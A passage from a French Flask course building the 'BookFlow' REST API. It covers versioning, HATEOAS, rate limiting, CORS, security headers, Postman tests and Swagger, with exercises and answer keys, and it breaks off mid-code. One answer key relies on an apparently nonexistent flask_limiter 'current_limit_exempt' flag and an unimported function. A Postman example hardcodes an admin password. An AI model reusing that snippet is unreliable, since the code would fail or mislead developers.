              supprime_le = fields.DateTime(allow_none=True, format='iso')
              supprime_par_id = fields.Int(allow_none=True)
          return AdminLivreSchema()

  # Dans la route :
  @api_livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      livre = LivreRepository.trouver_ou_404(livre_id)
      role = 'anonyme'  # En prod : depuis JWT
      schema = creer_livre_schema(role)
      return jsonify({'success': True, 'data': schema.dump(livre)})


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 27 — ENDPOINTS PROFESSIONNELS                               ║
║         Versioning, HATEOAS, Rate Limiting, CORS et en-têtes sécurité            ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  VERSIONING DE L'API
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le versioning permet de faire évoluer l'API sans casser les clients existants.

STRATÉGIES DE VERSIONING :

  STRATÉGIE 1 — URL Versioning (recommandé pour la plupart des cas)
  ──────────────────────────────────────────────────────────────────
    /api/v1/livres
    /api/v2/livres

    [OK] Simple, lisible, testable dans le navigateur
    [OK] Utilisé par : Twitter, GitHub, Stripe, SendGrid
    [X] "L'URL doit identifier une ressource, pas une version" (débat REST)

  STRATÉGIE 2 — Header Versioning
  ─────────────────────────────────
    Accept: application/vnd.bookflow.v2+json
    ou
    X-API-Version: 2

    [OK] URLs propres
    [X] Plus difficile à tester dans le navigateur
    [X] Souvent ignoré par les proxys

  STRATÉGIE 3 — Query String
  ────────────────────────────
    /api/livres?version=2

    [OK] Simple à implémenter
    [X] Pas propre, difficile à cacher en cache

IMPLÉMENTATION URL VERSIONING AVEC FLASK :

  # app/__init__.py
  def create_app(config_name='development'):
      app = Flask(__name__)

      # Importer et enregistrer les blueprints v1
      from .routes.api.v1 import livres as livres_v1
      from .routes.api.v2 import livres as livres_v2

      app.register_blueprint(livres_v1.bp, url_prefix='/api/v1/livres')
      app.register_blueprint(livres_v2.bp, url_prefix='/api/v2/livres')

      return app

  # app/routes/api/v1/livres.py — Version 1 (stable)
  from flask import Blueprint
  bp = Blueprint('livres_v1', __name__)

  @bp.route('/')
  def get_livres():
      # Format de réponse v1 (simple)
      return jsonify({'livres': [...]})

  # app/routes/api/v2/livres.py — Version 2 (nouvelles fonctionnalités)
  from flask import Blueprint
  bp = Blueprint('livres_v2', __name__)

  @bp.route('/')
  def get_livres():
      # Format de réponse v2 (avec pagination, filtres avancés)
      return jsonify({
          'data': [...],
          'meta': {'page': 1, 'total': 42},
          '_links': {'next': '...', 'prev': '...'}
      })

STRATÉGIE DE DÉPRÉCIATION :

  @bp.route('/livres/<id>')
  def get_livre(id):
      """
      En-têtes de dépréciation pour avertir les clients.
      """
      reponse = jsonify({...})

      # Avertir que cette version sera supprimée
      reponse.headers['Deprecation'] = 'true'
      reponse.headers['Sunset'] = 'Sat, 31 Dec 2024 23:59:59 GMT'
      reponse.headers['Link'] = '</api/v2/livres>; rel="successor-version"'

      return reponse


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  HATEOAS — NAVIGATION PAR HYPERMEDIA
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

HATEOAS = Hypermedia As The Engine Of Application State

Les réponses contiennent des liens vers les actions disponibles.
Le client n'a pas besoin de connaître les URLs à l'avance.

  # app/utils/hateoas.py
  from flask import url_for

  def liens_livre(livre, user_role='anonyme'):
      """
      Génère les liens HATEOAS pour un livre.
      Les liens disponibles dépendent du rôle de l'utilisateur.
      """
      liens = {
          'self': {
              'href': url_for('api_livres.get_livre', livre_id=livre.id, _external=True),
              'method': 'GET'
          },
          'collection': {
              'href': url_for('api_livres.get_livres', _external=True),
              'method': 'GET'
          },
          'avis': {
              'href': url_for('api_livres.get_avis_livre', livre_id=livre.id, _external=True),
              'method': 'GET'
          }
      }

      # Actions selon disponibilité et rôle
      if livre.disponible and user_role == 'user':
          liens['emprunter'] = {
              'href': url_for('api_emprunts.creer_emprunt', _external=True),
              'method': 'POST',
              'body': {'livre_id': livre.id}
          }
          liens['poster_avis'] = {
              'href': url_for('api_livres.creer_avis', livre_id=livre.id, _external=True),
              'method': 'POST'
          }

      # Actions admin
      if user_role == 'admin':
          liens['modifier'] = {
              'href': url_for('api_livres.modifier_livre', livre_id=livre.id, _external=True),
              'method': 'PATCH'
          }
          liens['supprimer'] = {
              'href': url_for('api_livres.supprimer_livre', livre_id=livre.id, _external=True),
              'method': 'DELETE'
          }

      return liens

  def liens_pagination(endpoint, meta, **kwargs):
      """Génère les liens de pagination HATEOAS."""
      liens = {
          'self': url_for(endpoint, page=meta['page'], **kwargs, _external=True)
      }
      if meta.get('has_next'):
          liens['next'] = url_for(endpoint, page=meta['page'] + 1, **kwargs, _external=True)
      if meta.get('has_prev'):
          liens['prev'] = url_for(endpoint, page=meta['page'] - 1, **kwargs, _external=True)
      liens['first'] = url_for(endpoint, page=1, **kwargs, _external=True)
      liens['last'] = url_for(endpoint, page=meta['pages'], **kwargs, _external=True)
      return liens

  # Utilisation dans les routes :
  @api_livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      livre = LivreRepository.trouver_ou_404(livre_id)
      user_role = 'anonyme'  # En prod : depuis JWT

      data = livre_schema.dump(livre)
      data['_links'] = liens_livre(livre, user_role)

      return jsonify({'success': True, 'data': data})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  RATE LIMITING PROFESSIONNEL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le rate limiting protège l'API contre les abus et les attaques DDoS.

  pip install flask-limiter

  # app/__init__.py
  from flask_limiter import Limiter
  from flask_limiter.util import get_remote_address

  limiter = Limiter(
      key_func=get_remote_address,  # Limiter par IP
      default_limits=["200 per day", "50 per hour"],
      storage_uri="memory://"       # En prod : "redis://localhost:6379"
  )

  def create_app(config_name='development'):
      app = Flask(__name__)
      limiter.init_app(app)
      return app

  # Utilisation dans les routes
  from app import limiter

  @api_livres_bp.route('/', methods=['GET'])
  @limiter.limit("100 per minute")   # Surcharge la limite globale pour cette route
  def get_livres():
      return jsonify({...})

  @api_auth_bp.route('/login', methods=['POST'])
  @limiter.limit("5 per minute; 20 per hour")   # Limite stricte pour le login
  def login():
      # ...
      pass

  @api_admin_bp.route('/dashboard', methods=['GET'])
  @limiter.exempt          # Exempter certaines routes (admin interne)
  def dashboard():
      pass

GÉRER LES ERREURS DE RATE LIMIT :

  @app.errorhandler(429)
  def rate_limit_depassé(e):
      return jsonify({
          'success': False,
          'error': {
              'code': 429,
              'message': 'Trop de requêtes. Veuillez attendre avant de réessayer.',
              'retry_after': e.retry_after   # Secondes avant retry
          }
      }), 429

EN-TÊTES DE RATE LIMIT DANS LES RÉPONSES :

  @app.after_request
  def ajouter_headers_rate_limit(response):
      """Ajoute les infos de rate limit dans chaque réponse."""
      # Ces en-têtes sont automatiquement ajoutés par Flask-Limiter
      # X-RateLimit-Limit: 100
      # X-RateLimit-Remaining: 87
      # X-RateLimit-Reset: 1704067200 (timestamp Unix)
      return response

RATE LIMITING PAR UTILISATEUR (avec JWT) :

  from flask_jwt_extended import get_jwt_identity, verify_jwt_in_request

  def get_user_or_ip():
      """Utiliser l'ID utilisateur si connecté, sinon l'IP."""
      try:
          verify_jwt_in_request(optional=True)
          user_id = get_jwt_identity()
          if user_id:
              return f"user_{user_id}"
      except Exception:
          pass
      return get_remote_address()

  limiter_user = Limiter(
      key_func=get_user_or_ip,
      default_limits=["1000 per day", "100 per hour"]
  )


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  CORS — CROSS-ORIGIN RESOURCE SHARING
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install flask-cors

  # app/__init__.py
  from flask_cors import CORS

  cors = CORS()

  def create_app(config_name='development'):
      app = Flask(__name__)

      # Configuration CORS selon l'environnement
      if app.config.get('DEBUG'):
          # Développement : autoriser localhost
          cors.init_app(app, resources={
              r"/api/*": {
                  "origins": [
                      "http://localhost:3000",    # React dev
                      "http://localhost:5173",    # Vite dev
                      "http://127.0.0.1:3000"
                  ],
                  "methods": ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
                  "allow_headers": ["Content-Type", "Authorization", "X-API-Version"],
                  "expose_headers": ["X-RateLimit-Limit", "X-RateLimit-Remaining"],
                  "supports_credentials": True,
                  "max_age": 600
              }
          })
      else:
          # Production : domaines spécifiques uniquement
          origines_autorisees = os.getenv('CORS_ORIGINS', '').split(',')
          cors.init_app(app, resources={
              r"/api/*": {
                  "origins": origines_autorisees,
                  "methods": ["GET", "POST", "PUT", "PATCH", "DELETE"],
                  "allow_headers": ["Content-Type", "Authorization"],
                  "supports_credentials": True,
                  "max_age": 86400   # 24h
              }
          })

      return app


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  EN-TÊTES DE SÉCURITÉ HTTP
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  pip install flask-talisman   # Pour HTTPS + en-têtes sécurité

  # En-têtes manuels via after_request
  @app.after_request
  def ajouter_en_tetes_securite(response):
      """
      Ajoute des en-têtes de sécurité à toutes les réponses API.
      """
      # Empêcher le navigateur de deviner le Content-Type
      response.headers['X-Content-Type-Options'] = 'nosniff'

      # Protéger contre le Clickjacking
      response.headers['X-Frame-Options'] = 'DENY'

      # Politique de sécurité du contenu (CSP)
      response.headers['Content-Security-Policy'] = "default-src 'none'"

      # Forcer HTTPS (HSTS)
      if not app.debug:
          response.headers['Strict-Transport-Security'] = (
              'max-age=31536000; includeSubDomains; preload'
          )

      # Contrôle du cache par défaut pour l'API
      if response.content_type and 'application/json' in response.content_type:
          if 'Cache-Control' not in response.headers:
              response.headers['Cache-Control'] = 'no-store'

      # Information sur le serveur (ne pas exposer la technologie)
      response.headers.pop('Server', None)    # Supprimer "Werkzeug/..."
      response.headers.pop('X-Powered-By', None)

      return response

EN-TÊTE ETag POUR LE CACHE CONDITIONNEL :

  import hashlib
  import json

  @api_livres_bp.route('/<int:livre_id>', methods=['GET'])
  def get_livre(livre_id):
      livre = LivreRepository.trouver_ou_404(livre_id)
      data = livre_schema.dump(livre)

      # Générer un ETag basé sur le contenu
      contenu_json = json.dumps(data, sort_keys=True)
      etag = hashlib.md5(contenu_json.encode()).hexdigest()

      # Vérifier si le client a déjà cette version
      if request.headers.get('If-None-Match') == etag:
          return '', 304  # Not Modified -> le client utilise son cache

      reponse = jsonify({'success': True, 'data': data})
      reponse.headers['ETag'] = etag
      reponse.headers['Cache-Control'] = 'max-age=60, must-revalidate'
      return reponse


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 27.1 : Configure Flask-Limiter avec ces limites :
    - Globale : 500/jour, 100/heure
    - Login : 5/minute (protection brute-force)
    - Search : 30/minute
    - Import : 2/heure

  Exercice 27.2 : Ajoute les en-têtes de sécurité à toutes les réponses
    de l'API BookFlow via after_request.

  Exercice 27.3 : Implémente le ETag pour GET /api/v1/livres/<id>.
    Teste avec curl en envoyant If-None-Match.

NIVEAU INTERMÉDIAIRE :
  Exercice 27.4 : Implémente les liens HATEOAS pour GET /api/v1/livres/
    (liens de pagination : first, last, prev, next).

  Exercice 27.5 : Crée une v2 de l'API livres qui :
    - Retourne les relations en embedded (categories incluses directement)
    - Inclut les liens HATEOAS
    - Ajoute un champ "temps_lecture" estimé

NIVEAU AVANCÉ :
  Exercice 27.6 : Implémente un système de quotas par plan :
    - Plan gratuit : 100 requêtes/jour
    - Plan standard : 1000 requêtes/jour
    - Plan premium : illimité
    Le plan est stocké dans le token JWT.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 27.1 :

  from flask_limiter import Limiter
  from flask_limiter.util import get_remote_address

  limiter = Limiter(
      key_func=get_remote_address,
      default_limits=["500 per day", "100 per hour"],
      storage_uri="memory://"
  )

  # Routes avec limites spécifiques :
  @auth_bp.route('/login', methods=['POST'])
  @limiter.limit("5 per minute")
  def login(): ...

  @api_livres_bp.route('/recherche', methods=['GET'])
  @limiter.limit("30 per minute")
  def recherche(): ...

  @api_admin_bp.route('/livres/import', methods=['POST'])
  @limiter.limit("2 per hour")
  def importer_livres(): ...

CORRIGÉ 27.6 — Quotas par plan :

  from flask_jwt_extended import get_jwt
  from flask_limiter import Limiter

  def get_plan_from_jwt():
      """Retourne une clé de rate limit basée sur le plan de l'utilisateur."""
      try:
          claims = get_jwt()
          plan = claims.get('plan', 'gratuit')
          user_id = get_jwt_identity()

          if plan == 'premium':
              # Pas de limite pour premium
              return f"premium_user_{user_id}"
          else:
              return f"{plan}_user_{user_id}"
      except Exception:
          return get_remote_address()

  # Middleware qui skip le rate limit selon le plan :
  @app.before_request
  def verifier_plan():
      try:
          claims = get_jwt()
          if claims.get('plan') == 'premium':
              # Les utilisateurs premium sont exemptés
              from flask_limiter import current_limit_exempt
              current_limit_exempt._flag = True
      except Exception:
          pass

  # Quotas par plan dans les limites :
  LIMITES_PAR_PLAN = {
      'gratuit': '100 per day',
      'standard': '1000 per day',
      'premium': None  # Pas de limite
  }


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 28 — POSTMAN : TESTER ET DOCUMENTER SON API                ║
║         Du test manuel à l'automatisation complète                                ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  ORGANISATION DES COLLECTIONS POSTMAN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

STRUCTURE RECOMMANDÉE :

  [DOSSIER] BookFlow API
  ├── [DOSSIER] Health & Status
  │   └── GET Health Check
  ├── [DOSSIER] Auth
  │   ├── POST Register
  │   ├── POST Login
  │   ├── POST Logout
  │   ├── POST Refresh Token
  │   └── POST Forgot Password
  ├── [DOSSIER] Livres
  │   ├── GET Liste des livres
  │   ├── GET Un livre
  │   ├── POST Créer un livre
  │   ├── PATCH Modifier un livre
  │   ├── DELETE Supprimer un livre
  │   ├── GET Recherche
  │   └── GET Statistiques
  ├── [DOSSIER] Emprunts
  │   ├── POST Emprunter un livre
  │   ├── PATCH Retourner un livre
  │   └── GET Mes emprunts
  ├── [DOSSIER] Catégories
  └── [DOSSIER] Admin


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  VARIABLES D'ENVIRONNEMENT POSTMAN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CRÉER DES ENVIRONNEMENTS :

  Environnement "Development" :
  ──────────────────────────────
  base_url     = http://localhost:5000
  api_url      = {{base_url}}/api/v1
  token        = (vide, rempli après login)
  user_id      = (vide, rempli après login)
  livre_id     = 1
  admin_email  = admin@bookflow.com
  admin_mdp    = Admin123!

  Environnement "Production" :
  ─────────────────────────────
  base_url     = https://api.bookflow.com
  api_url      = {{base_url}}/api/v1
  token        = (vide)
  ...

UTILISATION DANS LES REQUÊTES :

  URL : {{api_url}}/livres
  Header : Authorization: Bearer {{token}}
  Body :
  {
    "titre": "Test Livre",
    "auteur": "Test Auteur"
  }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  SCRIPTS POSTMAN (PRE-REQUEST & TESTS)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Postman permet d'écrire des scripts JavaScript avant/après chaque requête.

SCRIPT PRE-REQUEST — Login automatique si pas de token :

  // Onglet "Pre-request Script" sur la collection
  const token = pm.environment.get('token');
  if (!token) {
      // Pas de token -> se connecter automatiquement
      pm.sendRequest({
          url: pm.environment.get('api_url') + '/auth/login',
          method: 'POST',
          header: {'Content-Type': 'application/json'},
          body: {
              mode: 'raw',
              raw: JSON.stringify({
                  email: pm.environment.get('admin_email'),
                  mot_de_passe: pm.environment.get('admin_mdp')
              })
          }
      }, function(err, res) {
          if (!err && res.json().token) {
              pm.environment.set('token', res.json().token);
              console.log('Token rafraîchi automatiquement');
          }
      });
  }

SCRIPT POST-REQUEST (Tests) — Vérification de la réponse :

  // Script de la requête POST Login
  pm.test("Statut 200", function () {
      pm.response.to.have.status(200);
  });

  pm.test("Réponse est JSON", function () {
      pm.response.to.be.json;
  });

  pm.test("Token présent dans la réponse", function () {
      const body = pm.response.json();
      pm.expect(body.success).to.be.true;
      pm.expect(body.data).to.have.property('access_token');
  });

  // Sauvegarder le token automatiquement
  if (pm.response.code === 200) {
      const body = pm.response.json();
      if (body.data && body.data.access_token) {
          pm.environment.set('token', body.data.access_token);
          pm.environment.set('user_id', body.data.user.id);
          console.log('Token sauvegardé : ' + body.data.access_token.substring(0, 20) + '...');
      }
  }

TESTS POUR GET /api/v1/livres :

  pm.test("Statut 200 OK", () => {
      pm.response.to.have.status(200);
  });

  pm.test("Format de réponse correct", () => {
      const body = pm.response.json();
      pm.expect(body).to.have.property('success', true);
      pm.expect(body).to.have.property('data');
      pm.expect(body).to.have.property('meta');
      pm.expect(body.data).to.be.an('array');
  });

  pm.test("Pagination présente", () => {
      const meta = pm.response.json().meta;
      pm.expect(meta).to.have.all.keys('total', 'page', 'per_page', 'pages');
      pm.expect(meta.page).to.be.above(0);
      pm.expect(meta.per_page).to.be.above(0);
  });

  pm.test("Chaque livre a les champs requis", () => {
      const livres = pm.response.json().data;
      livres.forEach(livre => {
          pm.expect(livre).to.have.property('id');
          pm.expect(livre).to.have.property('titre');
          pm.expect(livre).to.have.property('auteur');
          pm.expect(livre).to.have.property('disponible');
      });
  });

  pm.test("Temps de réponse < 500ms", () => {
      pm.expect(pm.response.responseTime).to.be.below(500);
  });

  // Sauvegarder l'ID du premier livre pour les tests suivants
  const livres = pm.response.json().data;
  if (livres.length > 0) {
      pm.environment.set('livre_id', livres[0].id);
  }

TESTS POUR POST /api/v1/livres :

  pm.test("Statut 201 Created", () => {
      pm.response.to.have.status(201);
  });

  pm.test("Livre créé avec les bonnes données", () => {
      const body = pm.response.json();
      const livre = body.data;
      pm.expect(livre).to.have.property('id');
      pm.expect(livre.titre).to.equal(pm.variables.get('test_titre'));
      pm.expect(livre.disponible).to.be.true;
  });

  pm.test("Header Location présent", () => {
      pm.expect(pm.response.headers.get('Location')).to.include('/livres/');
  });

  // Sauvegarder l'ID du livre créé
  const body = pm.response.json();
  if (body.data && body.data.id) {
      pm.environment.set('nouveau_livre_id', body.data.id);
  }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  COLLECTION RUNNER ET AUTOMATISATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le Collection Runner permet d'exécuter toutes les requêtes en séquence.
Utile pour les tests de non-régression.

WORKFLOW DE TEST AUTOMATISÉ :

  1. POST /auth/login              -> sauvegarder le token
  2. GET  /livres                  -> vérifier la liste
  3. POST /livres                  -> créer un livre de test
  4. GET  /livres/{{nouveau_id}}   -> vérifier la création
  5. PATCH /livres/{{nouveau_id}}  -> modifier
  6. GET  /livres/{{nouveau_id}}   -> vérifier la modification
  7. DELETE /livres/{{nouveau_id}} -> supprimer
  8. GET  /livres/{{nouveau_id}}   -> vérifier 404

EXPORTER ET IMPORTER LES COLLECTIONS :

  # Exporter la collection Postman en JSON
  Collection -> ⋮ -> Export -> Collection v2.1

  # Importer dans un nouveau projet
  File -> Import -> fichier .json

NEWMAN — POSTMAN EN LIGNE DE COMMANDE :

  # Installer Newman
  npm install -g newman

  # Exécuter la collection
  newman run bookflow_collection.json \
    --environment bookflow_dev.json \
    --reporters cli,html \
    --reporter-html-export rapport_tests.html

  # Dans CI/CD (GitHub Actions) :
  # - name: Run API Tests
  #   run: newman run bookflow_collection.json --environment ci_env.json


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  DOCUMENTATION SWAGGER / OPENAPI
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

OpenAPI (ex-Swagger) est le standard de documentation d'API REST.

  pip install flask-restx   # Génère Swagger UI automatiquement
  # ou
  pip install flasgger      # Alternative plus légère

AVEC FLASK-RESTX :

  from flask import Flask
  from flask_restx import Api, Resource, fields

  app = Flask(__name__)
  api = Api(
      app,
      version='1.0',
      title='BookFlow API',
      description='API de gestion de bibliothèque BookFlow',
      doc='/docs'   # URL de la Swagger UI
  )

  # Namespace (équivalent à un Blueprint)
  ns_livres = api.namespace('livres', description='Opérations sur les livres')

  # Modèle de données (pour la documentation)
  livre_model = api.model('Livre', {
      'id': fields.Integer(readonly=True, description='ID unique'),
      'titre': fields.String(required=True, description='Titre du livre'),
      'auteur': fields.String(required=True, description='Auteur'),
      'pages': fields.Integer(description='Nombre de pages'),
      'genre': fields.String(description='Genre littéraire'),
      'disponible': fields.Boolean(description='Disponible à l\'emprunt'),
  })

  livre_creation = api.model('LivreCreation', {
      'titre': fields.String(required=True, example='Dune'),
      'auteur': fields.String(required=True, example='Frank Herbert'),
      'pages': fields.Integer(example=900),
      'genre': fields.String(example='science-fiction'),
  })

  @ns_livres.route('/')
  class LivreList(Resource):
      @ns_livres.doc('list_livres')
      @ns_livres.marshal_list_with(livre_model)
      @ns_livres.param('genre', 'Filtrer par genre')
      @ns_livres.param('page', 'Numéro de page', type=int, default=1)
      def get(self):
          """Liste tous les livres avec filtres optionnels."""
          livres = LivreRepository.lister(
              genre=request.args.get('genre'),
              page=request.args.get('page', 1, type=int)
          ).items
          return livres

      @ns_livres.doc('creer_livre')
      @ns_livres.expect(livre_creation, validate=True)
      @ns_livres.marshal_with(livre_model, code=201)
      @ns_livres.response(400, 'Validation échouée')
      @ns_livres.response(409, 'Conflit (ISBN ou titre déjà existant)')
      def post(self):
          """Crée un nouveau livre."""
          data = api.payload
          livre = service.creer_livre(data)
          return livre, 201

  @ns_livres.route('/<int:livre_id>')
  @ns_livres.response(404, 'Livre non trouvé')
  class LivreResource(Resource):
      @ns_livres.doc('get_livre')
      @ns_livres.marshal_with(livre_model)
      def get(self, livre_id):
          """Retourne un livre par son ID."""
          return LivreRepository.trouver_ou_404(livre_id)

      @ns_livres.doc('modifier_livre')
      @ns_livres.expect(livre_creation)
      @ns_livres.marshal_with(livre_model)
      def patch(self, livre_id):
          """Modifie partiellement un livre."""
          livre = LivreRepository.trouver_ou_404(livre_id)
          LivreRepository.modifier(livre, **api.payload)
          db.session.commit()
          return livre

      @ns_livres.doc('supprimer_livre')
      @ns_livres.response(204, 'Livre supprimé')
      def delete(self, livre_id):
          """Supprime un livre."""
          livre = LivreRepository.trouver_ou_404(livre_id)
          db.session.delete(livre)
          db.session.commit()
          return '', 204

  # Accéder à la Swagger UI : http://localhost:5000/docs


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 28.1 : Crée une collection Postman complète pour BookFlow.
    Organise les requêtes en dossiers (Auth, Livres, Emprunts).
    Configure les variables d'environnement (base_url, token).

  Exercice 28.2 : Ajoute des tests automatiques à chaque requête :
    - Vérifier le statut HTTP
    - Vérifier la structure JSON
    - Sauvegarder les IDs pour les requêtes suivantes

  Exercice 28.3 : Écris un Pre-request Script qui vérifie si le token
    est expiré et le rafraîchit automatiquement avant chaque requête.

NIVEAU INTERMÉDIAIRE :
  Exercice 28.4 : Configure Flask-RESTX pour générer automatiquement
    la documentation Swagger de l'API BookFlow.
    Inclure les modèles de données et les exemples.

  Exercice 28.5 : Crée un workflow Newman qui exécute les tests
    dans le bon ordre et génère un rapport HTML.

NIVEAU AVANCÉ :
  Exercice 28.6 : Crée un système de tests de contrat API :
    Les tests vérifient que l'API respecte exactement le schéma défini.
    Si un développeur change accidentellement la structure d'un champ,
    les tests doivent échouer.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 28.3 — Refresh automatique :

  // Postman Pre-request Script (niveau Collection)
  const token = pm.environment.get('token');
  const tokenExpiry = pm.environment.get('token_expiry');

  // Vérifier si le token est expiré (avec 30s de marge)
  const estExpire = !tokenExpiry ||
                    Date.now() >= (parseInt(tokenExpiry) - 30000);

  if (!token || estExpire) {
      const loginUrl = pm.environment.get('api_url') + '/auth/login';

      pm.sendRequest({
          url: loginUrl,
          method: 'POST',
          header: { 'Content-Type': 'application/json' },
          body: {
              mode: 'raw',
              raw: JSON.stringify({
                  email: pm.environment.get('admin_email'),
                  mot_de_passe: pm.environment.get('admin_mdp')
              })
          }
      }, function(err, res) {
          if (!err && res.code === 200) {
              const data = res.json().data;
              pm.environment.set('token', data.access_token);
              // Stocker l'expiration (maintenant + 1h en ms)
              pm.environment.set('token_expiry', Date.now() + 3600000);
              console.log('[OK] Token rafraîchi automatiquement');
          } else {
              console.error('[X] Impossible de rafraîchir le token');
          }
      });
  }

CORRIGÉ 28.6 — Tests de contrat :

  // Test de contrat pour GET /api/v1/livres/<id>
  pm.test("Contrat API : Structure du livre correcte", () => {
      const livre = pm.response.json().data;

      // Vérifier que TOUS les champs requis sont présents
      const champsRequis = ['id', 'titre', 'auteur', 'pages', 'genre',
                            'disponible', 'created_at'];
      champsRequis.forEach(champ => {
          pm.expect(livre, `Champ '${champ}' manquant`).to.have.property(champ);
      });

      // Vérifier les types
      pm.expect(livre.id).to.be.a('number').and.above(0);
      pm.expect(livre.titre).to.be.a('string').and.not.empty;
      pm.expect(livre.auteur).to.be.a('string').and.not.empty;
      pm.expect(livre.pages).to.be.a('number').and.at.least(0);
      pm.expect(livre.disponible).to.be.a('boolean');

      // Vérifier le format de la date
      pm.expect(livre.created_at).to.match(
          /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/,
          'created_at doit être au format ISO 8601'
      );

      // Vérifier que les champs sensibles ne sont PAS exposés
      pm.expect(livre).not.to.have.property('mot_de_passe_hash');
      pm.expect(livre).not.to.have.property('supprime_le');
  });


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW API REST FINALE                          ║
║           API complète, documentée, sécurisée et testée                              ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CONFIGURATION FINALE app/__init__.py
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/__init__.py — Version finale avec toutes les extensions
  import os
  import logging
  from logging.handlers import RotatingFileHandler

  from flask import Flask, jsonify, request
  from flask_sqlalchemy import SQLAlchemy
  from flask_migrate import Migrate
  from flask_jwt_extended import JWTManager
  from flask_cors import CORS
  from flask_marshmallow import Marshmallow
  from flask_limiter import Limiter
  from flask_limiter.util import get_remote_address
  from flask_caching import Cache

  # Extensions (créées sans app — late binding)
  db = SQLAlchemy()
  migrate = Migrate()
  jwt = JWTManager()
  ma = Marshmallow()
  limiter = Limiter(key_func=get_remote_address)
  cache = Cache()

  def create_app(config_name=None):
      """Application Factory — BookFlow API."""
      app = Flask(__name__)

      # ── Configuration ──
      config_name = config_name or os.getenv('FLASK_ENV', 'development')
      from .config import config_map
      app.config.from_object(config_map.get(config_name, config_map['default']))

      # ── Extensions ──
      db.init_app(app)
      migrate.init_app(app, db)
      jwt.init_app(app)
      ma.init_app(app)
      limiter.init_app(app)
      cache.init_app(app, config={
          'CACHE_TYPE': 'SimpleCache',
          'CACHE_DEFAULT_TIMEOUT': 300
      })

      # ── CORS ──
      CORS(app, resources={
          r"/api/*": {
              "origins": app.config.get('CORS_ORIGINS', ['http://localhost:3000']),
              "methods": ["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
              "allow_headers": ["Content-Type", "Authorization", "X-API-Version"],
              "supports_credentials": True
          }
      })

      # ── Blueprints (routes) ──
      from .routes.api.livres import api_livres_bp
      from .routes.api.auth import api_auth_bp
      from .routes.api.utilisateurs import api_users_bp
      from .routes.api.emprunts import api_emprunts_bp
      from .routes.api.categories import api_cat_bp
      from .routes.api.admin import api_admin_bp

      app.register_blueprint(api_auth_bp,   url_prefix='/api/v1/auth')
      app.register_blueprint(api_livres_bp,  url_prefix='/api/v1/livres')
      app.register_blueprint(api_users_bp,   url_prefix='/api/v1/users')
      app.register_blueprint(api_emprunts_bp, url_prefix='/api/v1/emprunts')
      app.register_blueprint(api_cat_bp,     url_prefix='/api/v1/categories')
      app.register_blueprint(api_admin_bp,   url_prefix='/api/v1/admin')

      # ── Gestionnaires d'erreurs ──
      from .errors import enregistrer_handlers
      enregistrer_handlers(app)

      # ── En-têtes de sécurité ──
      @app.after_request
      def securite_headers(response):
          response.headers['X-Content-Type-Options'] = 'nosniff'
          response.headers['X-Frame-Options'] = 'DENY'
          if not app.debug:
              response.headers['Strict-Transport-Security'] = (
                  'max-age=31536000; includeSubDomains'
              )
          if 'application/json' in response.content_type:
              if 'Cache-Control' not in response.headers:
                  response.headers['Cache-Control'] = 'no-store'
          return response

      # ── Logging ──
      if not app.debug:
          os.makedirs('logs', exist_ok=True)
          handler = RotatingFileHandler('logs/bookflow.log',
                                        maxBytes=10*1024*1024, backupCount=10)
